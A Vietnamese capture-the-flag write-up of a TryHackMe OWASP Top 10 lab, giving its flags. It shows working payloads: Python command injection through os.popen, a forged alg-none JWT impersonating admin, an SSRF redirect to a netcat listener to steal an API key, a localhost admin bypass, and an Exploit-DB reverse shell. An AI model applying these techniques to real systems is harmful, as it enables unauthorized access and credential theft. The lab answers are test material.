IDOR Challenge

Lỗ hổng IDOR nằm ở parameter node_id với giá trị là 0.

Success

flag{fivefourthree}

Cryptographic Challenge

Vào route /login.php, xem source code thì có dòng sau:

<!-- Must remember to do something better with the database than store it in /assets... -->

Truy cập route /assets và thấy file webapp.db. Tải về và dùng các câu lệnh trong Flat-File Database để xem password của admin nằm ở bảng users:

6eea9b7ef19179a06954edd0f6c05ceb

Dùng Crackstation để giải hash, thu được password là: qwertyuiop.

Đăng nhập vào và thu được flag.

Success

THM{Yzc2YjdkMjE5N2VjMzNhOTE3NjdiMjdl}

Insecure Design

Chọn reset password với username là joseph, chọn câu hỏi 2, đoán được câu trả lời là green. Sau đó dùng password đã reset để đăng nhập vào và xem flag.txt ở phần Private.

Success

THM{Not_3ven_c4tz_c0uld_sav3_U!}

Security Misconfiguration

Sử dụng câu lệnh:

import os; print(os.popen("cat app.py").read())

Tìm flag ở trong biến secret_flag.

Success

THM{Just_a_tiny_misconfiguration}

Vulnerable and Outdated Components

Tìm trên exploit DB thấy lỗ hổng RCE của online book store. Chạy thực thi exploit và ta có được reverse shell.

Đọc flag ở trong /opt/flag.txt.

Success

THM{But_1ts_n0t_my_f4ult!}

Identification and Authentication Failures

Tạo tài khoản mới với username là " darren". Đăng nhập vào và ta có được flag:

Success

fe86079416a21a3c99937fea8874b667

Tương tự tạo tài khoản với username là " arthur" và cũng đọc được flag:

Success

d9ac0f7db4fda460ac3edeb75d75e16e

Data Integrity Failures

Technique

JWT token là một loại session token thay thế cho cookie vì attacker có thể sửa giá trị của cookie và username tùy ý để mạo danh nạn nhân.

Giá trị của JWT token được encode dưới dạng base64 và được gửi cho user:

Phần cuối là signature của server và chỉ server có private key mới có thể ký. Nếu attacker thay đổi payload thì sẽ không còn match với signature và khi đó sẽ bị phát hiện.

Có một kiểu tấn công là ta thay decode hai phần đầu và chỉnh sửa lại như sau:

Với admin là username mà ta muốn mạo danh và ta sẽ cắt bỏ phần signature. Tuy nhiên vẫn giữ lại dấu chấm ở cuối.

Approach

Thử đăng nhập với tài khoản guest và mật khẩu guest. Ta có được JWT token sau:

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6Imd1ZXN0IiwiZXhwIjoxNjg4OTcyMTI0fQ.aUNDiZJjPfjaJ1Fmw__QDW23dSOwIF_sXg-eo5q-HiA

Decode hai phần đầu, ta có header là:

{"typ":"JWT","alg":"HS256"}

Và payload là:

{"username":"guest","exp":1688972124}

Sửa header và pyaload để mạo danh admin như đã đề cập trước đó. Sau đó encode lại và tạo thành JWT token sau:

eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNjg4OTcyMTI0fQ.

Thay đổi và refresh trang ta sẽ được đăng nhập vào admin và thu được flag.

Success

THM{Dont_take_cookies_from_strangers}

Server-Side Request Forgery

Technique

Minh họa cơ chế hoạt động của server mà có thể bị tấn công SSRF:

Dễ thấy, ta có thể thay đổi giá trị của param server lại thành một địa chỉ tùy ý để nhận API key.

Approach

Khi bấm vào nút “Download resume” thì trang web sẽ gửi request đến:

http://10.10.197.124:8087/download?server=secure-file-storage.com:8087&id=75482342

Với 10.10.197.124 là địa chỉ IP của trang web.

Ta host một Netcat server:

nc -vnlp 8087

Và thay địa chỉ IP của Netcat server (giả sử 10.10.10.10) vào phần secure-file-storage.com (nhớ thêm http:// phía trước):

http://10.10.197.124:8087/download?server=http://10.10.10.10:8087&id=75482342

Khi đó, ta sẽ thu được request và có được API key.

Success

THM{Hello_Im_just_an_API_key}

Khi truy cập vào trang admin, trang web yêu cầu phải truy cập từ admin. Vì thế, ta sửa lại request như sau:

http://10.10.197.124:8087/download?server=http://localhost:8087/admin&id=75482342

Không thu được flag, dùng một trick là thêm # phía sau /admin. Tất nhiên là ta cũng cần phải URL encode ký tự này (thành %23). Request trở thành:

http://10.10.197.124:8087/download?server=http://localhost:8087/admin%23&id=75482342

Thu được flag:

Success

thm{c4n_i_haz_flagz_plz?}

Resources